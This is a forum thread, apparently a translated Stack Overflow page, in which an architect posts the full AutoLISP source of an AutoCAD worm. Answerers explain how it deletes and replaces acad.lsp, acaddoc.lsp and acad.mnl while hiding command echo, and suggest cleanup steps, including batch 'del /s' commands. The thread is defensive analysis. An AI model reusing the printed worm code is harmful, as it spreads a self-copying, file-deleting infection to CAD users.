调试这个 LISP 病毒在做啥

Posted

技术标签:

【中文标题】调试这个 LISP 病毒在做啥【英文标题】:Debugging what this LISP Virus is doing调试这个 LISP 病毒在做什么 【发布时间】:2010-12-26 13:37:11 【问题描述】:

我的公司受到了 AutoCAD 病毒的攻击,该病毒正在删除我们的 acaddoc.lsp 并将其替换为以下例程。

我是一名架构师,我不确定重复的“查找”和“删除”在做什么。

问题

    这是用什么替换文件(当前正在搜索acadapq)? 谁为 AutoCAD 编写病毒?!?!

有人见过这个吗? CAD 论坛不是很有帮助。

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.fas")
      (if (vl-file-delete (findfile "acad.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "lcm.fas")
      (if (vl-file-delete (findfile "lcm.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.lsp")
      (if (vl-file-delete (findfile "acad.lsp"))
          (setq n 0))
      (setq n 2)))

(defun wwriteapp ()
  (if (setq wwjm1 (open wnewacad "w"))
      (progn
        (setq wwjm (open woldacad "r"))
        (while (setq wwz (read-line wwjm))
          (write-line wwz wwjm1))
        (close wwjm)
        (close wwjm1))))

(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq ab (atoi (substr wz 4 1)))
      (close wwjm)
      (if (> ab bb)
          (setq lbz 1))))

(setq wwjqm (strcat wpath "acad.mnl"))

(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq nb (atoi (substr wz 4 1)))
      (close wwjm)
      (if (< nb bb)
          (setq lbz 1)))
    (setq lbz 1))
(if (= lbz 1)
    (progn
      (setq woldacad (strcat dpath "acaddoc.lsp"))
      (setq wnewacad (strcat wpath "acad.mnl"))
      (wwriteapp)))
(if (and (/= (substr dpath 1 1) (chr 67))
         (/= (substr dpath 1 1) (chr 68))
         (/= (substr dpath 1 1) (chr 69))
         (/= (substr dpath 1 1) (chr 70)))
    (progn
      (setq woldacad (strcat wpath "acad.mnl"))
      (setq wnewacad (strcat dpath "acaddoc.lsp"))
      (wwriteapp))
    (vl-file-delete (strcat dpath "acaddoc.lsp")))
;load "acadapq")
(setvar "cmdecho" wold_cmd)

【问题讨论】:

这与编程非常相关。这应该留在 Stack Overflow。 它是如何安装的?我的意思是,您的组织中是否有人一开始就故意手动安装它? 一种用 lisp 派生的病毒。这太酷了。 这种“病毒”可以在任何具有“rc”文件的应用程序中完成。操作系统的工作是防止这种情况在用户之间传播。如果没有适当的权限,任何人都可以进入你在 GNU/Linux 上的 ~/.bashrc 文件并将恶意命令放入其中。 【参考方案1】:

它正在对常见的AutoCAD自定义文件进行支持文件路径遍历,删除和替换。 ("acad.fas","acad.lsp", "acaddoc.lsp") 我不知道“lcm.fas”是什么意思。它是 AutoCAD 垂直产品(即 AutoCAD 机械或建筑桌面)的一部分吗?

循环本质上是“当我一直在支持路径上查找时删除它”。

据我所知,AutoCAD 没有针对此问题的内置防御措施。 (可能有一些 acad 系统变量会停止执行这些文件)。

“cmdecho”行保存和恢复允许/抑制命令回显的系统变量。在运行时将其关闭(因此您不会注意到)然后恢复原始设置。

礼貌的病毒:\

当 AutoCAD 启动时,它会执行在其支持路径上找到的第一个“acad.fas”和第一个“acad.lsp”。每次 AutoCAD 加载新的 .dwg 时,它都会执行“acaddoc.lsp”。

【讨论】:

【参考方案2】:

奇怪的是,只有在网络上打开文件时才会创建 lisp 文件,本地副本似乎没有这个问题。 将 del /s acaddoc.lsp 和 del /s acad.lsp 添加到所有用户登录脚本并运行一周左右,它应该摆脱病毒进入的所有 acaddoc.lsp 和 acad.lsp 文件。 .确保在运行删除命令之前,您实际上并未将任何这些文件用于您自己的目的

【讨论】:

【参考方案3】:

按照以下步骤摆脱此蠕虫:

手动 在您的 PC 上复制附加的例程:acaddocfix_1.6.lsp 使用 APPLOAD 命令加载 lisp 文件 lisp 文件将自动运行,它将清除您的支持文件夹中所有存在的蠕虫。

虽然他们是另一种方式,但我们可以通过在任何用户启动他/她的 PC 时将其添加为批处理文件,因为我之前与 IT 核实过

自动运行 运行防病毒软件或清理程序以清除“acaddoc.lsp”文件。通常清洁程序会在您的 acad20XXdoc.lsp 文件中安装一个简单的程序,该程序会自动清除这些文件,但我建议先使用防病毒软件清除所有病毒。 您还可以运行 -acaddoc.bat dos 批处理文件来手动清理所有驱动器。 运行此批处理一次,它将删除系统上的所有 acaddoc.lsp 文件。

注意:如果 Autocad 支持文件夹中的任何受感染文件是只读的,则清理程序将无法清理这些文件!

请参考http://metinsaylan.com/how-to-clean-acaddoc-lsp-virus-from-your-pc/

【讨论】:

以上是关于调试这个 LISP 病毒在做啥的主要内容,如果未能解决你的问题,请参考以下文章

带有swdio字母的接口是做啥的?

如何调试Windbg? (如何获取有关 Windbg 正在做啥的信息)

启用僵尸对象不足以帮助调试我的问题 - 我还能做啥?

这个函数在做啥

Trojan是啥病毒 能做啥?我电脑每星期大都中这个

这个@synthesize 语句在做啥?